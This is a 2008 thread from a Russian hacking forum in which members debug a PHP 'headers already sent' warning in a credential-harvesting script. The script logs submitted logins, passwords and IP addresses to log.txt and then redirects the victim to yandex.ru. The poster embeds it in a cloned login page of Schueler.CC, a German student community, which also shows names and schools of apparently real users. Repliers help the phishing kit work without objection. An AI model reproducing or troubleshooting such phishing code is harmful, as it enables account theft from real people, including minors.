ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.04.2008, 22:19
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

куки сессии хидеры пишуться только в начале скрипта, делай проверку на нажатие кнопки и все а дальше выводи html или редиректь
 

  #2  
Старый 20.04.2008, 22:28
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Цитата:
Цитата:
Сообщение от .:EnoT:.  
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
Всеравно не получается!
где именно вставить?
омг
PHP код:
<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>
 

  #3  
Старый 20.04.2008, 22:32
-=Dem0n=-
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме:
132616

Репутация: 10
Отправить сообщение для -=Dem0n=- с помощью ICQ
По умолчанию

Цитата:
Сообщение от .:EnoT:.  
омг
PHP код:
<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>
Сверавно:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 102
102 return true;

Последний раз редактировалось -=Dem0n=-; 20.04.2008 в 22:36..
 

  #4  
Старый 20.04.2008, 23:01
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Цитата:
это не ошибка, а предупреждение. Это означает что у тебя где-то лишняя пустая строчки или пробел в файле. Проверь, что перед <?php и после ?> нету пробелов или пустых строк, тогда предупреждение выводится не будет. Или просто отключи предупреждения в конфигах php.
PS Дай полный код скрипта.
 

  #5  
Старый 20.04.2008, 23:09
-=Dem0n=-
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме:
132616

Репутация: 10
Отправить сообщение для -=Dem0n=- с помощью ICQ
По умолчанию

Код HTML:
<html>
<head>
<title>
Schueler.CC | Dein Schu"ler Community-Center</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<META NAME="description" CONTENT="">
<META NAME="keywords"    CONTENT="">
<META NAME="page-type"   CONTENT="Homepage">
<META NAME="robots"      CONTENT="index,follow">
<script language="JavaScript" src="http://www.schueler.cc/js/style.js"></script>
<script language="JavaScript" src="http://www.schueler.cc/js/func.js"></script>
<script language="JavaScript" src="http://www.schueler.cc/js/AC_RunActiveContent.js"></script>
<link rel="stylesheet" href="http://www.schueler.cc/css/style.css?2105" type="text/css">

<link rel="shortcut icon" type="http://www.schueler.cc/image/x-icon" href="http://www.schueler.cc/favicon.ico">
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-1404380-1";
urchinTracker();
</script>
</head>
<body>
<input type="hidden" name="button_gui_chat_ablehnen" value="ok"><input type="hidden" name="cb_id">
</form>
<input type="hidden" name="button_gui_keine_lust" value="ok"><input type="hidden" name="b_id">
</form>

<div align="center">
<div id="mf_wall"></div>
<table cellpadding=0 cellspacing=0 border=0 >

<tr>
<td valign="top" class="bg_weiss">
	<table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160><img src="http://www.schueler.cc/b/logo.png" width=160 height=86 border=0></a></td>
<td width=600>
<table cellpadding=0 cellspacing=0 border=0 width=600 background="http://www.schueler.cc/b/layout/bar_bg.png">
<tr>
<td><img src="http://www.schueler.cc/b/layout/topbar_begin.png" width=3 height=25 border=0></td>
<td><a href="http://www.schueler.cc/s,login,anmeldung.php" class="oben">&nbsp;&nbsp;anmelden&nbsp;&nbsp;</a></td>
<td>&nbsp;&nbsp;&nbsp;<a target="_blank" href="http://www.schueler.cc/s,hilfe.php" class="oben">&nbsp;&nbsp;hilfe&nbsp;&nbsp;</a></td>
<!-- <td style="whitespace:nowrap; width:100px;"><a href="s,blog.php" class="oben">&nbsp;&nbsp;blog&nbsp;&nbsp;</a></td> -->
<td width=100%></td>
<td><a href="http://www.schueler.cc/s,login,login.php" class="oben">&nbsp;&nbsp;login&nbsp;&nbsp;</a></td>

<td><img src="http://www.schueler.cc/b/layout/topbar_end.png" width=3 height=25 border=0></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
<script language="JavaScript">
<!--
mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
//-->
</script>
<table cellpadding=0 cellspacing=0 border=0 width=600 class="grauerrahmen">
<tr>
<td width=60></td>
<td align="center" style="font-size:18px" height=60><b>Noch nicht dabei?</b></td>
<td align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja.src=mbja1.src" onmouseout="mbja.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja" width=177 height=39 border=0></a></td>
<td width=60></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
</td>

</tr>
</table>
	<table cellpadding=0 cellspacing=0 border=0 width=760 height=25>
<tr>
<td width=2 class="bar0"></td>
	<td width=158 class="bar1"></td>
</form>
<td width=299 class="bar1"></td>
<td width=299 class="bar3"><div class="ueber" style="color:#FFFFFF">Dein Schu"ler Community-Center!</div></td>
<td width=2 class="bar2"></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>

<table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160 valign="top">
<table cellpadding=0 cellspacing=0 border=0 width=160 class="rechtenav">
PHP код:
<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
Код HTML:
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
<tr>
<td align="left">
<img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
<div style="padding-left:2px"><b class="grau">E-Mail:</b><br>
<input type="text" name="login" maxlength="80" value="" class="cartlogin"><br>
<b class="grau">Passwort:</b><br>
<input type="password" maxlength="20" name="pass" class="cartlogin"><br>
<img src="http://www.schueler.cc/b/s.png" width=1 height=3 border=0><br>
<input type="submit" value="Login" name="go" class="submit" style="width:45px">
</form><br><br>
Noch nicht dabei?<br>

<a href="http://www.schueler.cc/s,login,anmeldung.php"><b>Jetzt anmelden!</b></a>
<br><br>
<a href="http://www.schueler.cc/s,login,pwvergessen.php">Passwort vergessen?</a></div>
<img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
</td>
</tr>

</table>
<br>
	<table cellpadding=0 cellspacing=0 border=0 width=160>
<tr>
<td align="center">
<table cellpadding=0 cellspacing=0 border=0 width=144>
<tr>

<td class="topic" colspan=2>Community-News</td>
</tr>
<tr>
<td background="http://www.schueler.cc/b/layout/topic_s.png" height=1 colspan=2></td>
</tr>
<tr><td height=5></td></tr>
<tr>
<td class="grauerrahmen" style="padding:3px;">Ich sehe was, was du nicht siehst...<br><br>und das...<br>...bewegt sich<br>...gibt Gera"usche von sich<br>...ist ein neues Feature<br>...ist ab Montag auf CC<br>...ist von vielen schon lange erwartet</td>
</tr>

</table>
</td>
</tr>
</table>
	</td>
<td width=600 class="grauerrahmen" valign="top" align="center">
<script language="JavaScript">
<!--
mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
//-->
</script>	
<table cellpadding=0 cellspacing=0 border=0 width=100%>
<tr>
<td width=70% valign="top" align="center">
<br>
<table cellpadding=0 cellspacing=0 border=0 width=380 height=100%>
<tr>
<td><b>Schueler.<span class="orange">CC</span> - Deutschlands Schu"ler Community</b><br><div class="grau" style="font-size:10px;">Die Plattform fu"r dich, deine Klasse und deine Freunde</div>

<br>
<ul>
<li>Erfahre mehr u"ber deinen Freundeskreis und deren Freunde<br><br></li>
<li>Lerne u"berall neue Leute kennen: An deiner Schule, in deiner Stadt...<br><br></li>
<li>Extra Bereich fu"r deine Klasse mit eigenem Forum, Chat und vielem mehr.<br><br></li>
<li>U"ber 20.000 Schulen sind bereits eingetragen, werde jetzt Teil von Deutschlands gro?er Schu"ler-Community!<br><br></li>
</ul>
<table cellpadding=0 cellspacing=0 border=0 width=100%>
<tr>
<td valign="bottom"><img src="http://www.schueler.cc/b/cc_homies.png" border=0></td>
<td valign="top">
<ul>
<li>alles 100% kostenlos<br><br></li>

</ul>
<div align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja2.src=mbja1.src" onmouseout="mbja2.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja2" width=177 height=39 border=0></a></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td width=30% style="background-color:#EEEEEE;" align="center" valign="top">
<br><b>Gerade neu angemeldet:</b><br><br>
<img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphp.png" border=0><br><div><b>Nikolai Naumann</b></div>Friedrich-List-Schule<br><br><img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphr.png" border=0><br><div><b>Bianca Maier</b></div>Staatliche Realschule Pfarrkirchen<br><br></td>

</tr>
</table>
</td>
</tr>
</table>
	<table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160></td>
<td align="center">
<table cellpadding=4 cellspacing=4 border=0>
<tr>
<td><a href="http://www.schueler.cc/s,jugendschutz.php" class="unten">&nbsp;&nbsp;Jugendschutz&nbsp;&nbsp;</a></td>
<td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php#datenschutz" class="unten">&nbsp;&nbsp;Datenschutz&nbsp;&nbsp;</a></td>
<td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php" class="unten">&nbsp;&nbsp;Nutzungsbedingungen&nbsp;&nbsp;</a></td>

<td><a href="http://www.schueler.cc/s,impressum.php" class="unten">&nbsp;&nbsp;Impressum&nbsp;&nbsp;</a></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td valign="top">

<table cellpadding=0 cellspacing=0 border=0 >
<tr>
<td align="center" style="padding-left:10px;">
<div id="mf_sky">
<div class="scc_advert">-Anzeige-</div>
<script type="text/javascript" src="http://adserver.adtech.de/addyn|3.0|247|1289006|0|168|ADTECH;loc=100;target=_blank;key=scc_m_15;kvsite=scc;kvsex=m;kvage=15;grp=1208708517;misc=2008.04.20.18.21.57.862630"></script></div>

</td>
</tr>
</table>
	</td>
</tr>
</table>
</div>
</body>
</html>
Это все вместе.
Все пробелывсеубрал всеравно это предупреждение!

Последний раз редактировалось -=Dem0n=-; 20.04.2008 в 23:22..
 

  #6  
Старый 21.04.2008, 17:30
-=Dem0n=-
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме:
132616

Репутация: 10
Отправить сообщение для -=Dem0n=- с помощью ICQ
По умолчанию

Блин ну помогите все что сказали сделал всеравно это предупреждение!
Код я выложил!
 

  #7  
Старый 21.04.2008, 18:04
Buffalon
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132

Репутация: 63
По умолчанию

HEADER("LOCATION:ya.ru?ok")
Проблему с HEADER возникают тока у новичков ... .делаем так
if(iiset($_GET['ok']))
{
echo 'О прикольна))';
}
<form action=file.php?ok>
....
<.form>
 

  #8  
Старый 21.04.2008, 18:18
Buffalon
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132

Репутация: 63
По умолчанию

мля((
PHP код:
<?php  
if(isset($_POST['ok']))
{
echo 
'УРА';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
    <tr>  
      <td width="25%">Login</td> 
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
    </tr> 
    <tr>  
      <td>Password</td> 
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
    <tr>  
      <td>Password2</td> 
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
    </tr> 
    <tr>  
      <td colspan="2"> 
          <input type="submit" value="Register" name="go"><br> 
        </td> 
    </tr> 
  </form>
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))
 

  #9  
Старый 21.04.2008, 20:25
-=Dem0n=-
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме:
132616

Репутация: 10
Отправить сообщение для -=Dem0n=- с помощью ICQ
По умолчанию

Цитата:
Сообщение от Buffalon  
мля((
PHP код:
<?php  
if(isset($_POST['ok']))
{
echo 
'УРА';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
    <tr>  
      <td width="25%">Login</td> 
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
    </tr> 
    <tr>  
      <td>Password</td> 
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
    <tr>  
      <td>Password2</td> 
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
    </tr> 
    <tr>  
      <td colspan="2"> 
          <input type="submit" value="Register" name="go"><br> 
        </td> 
    </tr> 
  </form>
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))
Хех только всеравно не работает!
Адрес просто добавляется в строку но не переходит.
Получается:
PHP код:

<?php  
if(isset($_POST['ok']))
{
echo 
'ÓÐÀ';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
Вот если этот код вставить в тот что выше то неработает ну сам проверь.
Предупреждение:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\1233.php:11) in Z:\home\localhost\www\1233.php on line 19м
19 строка: header('location: http://yandex.ru');
 

  #10  
Старый 21.04.2008, 20:35
Buffalon
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132

Репутация: 63
По умолчанию

Слушай ток что проверил там и без моего коды вс ё рабтает... .))
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ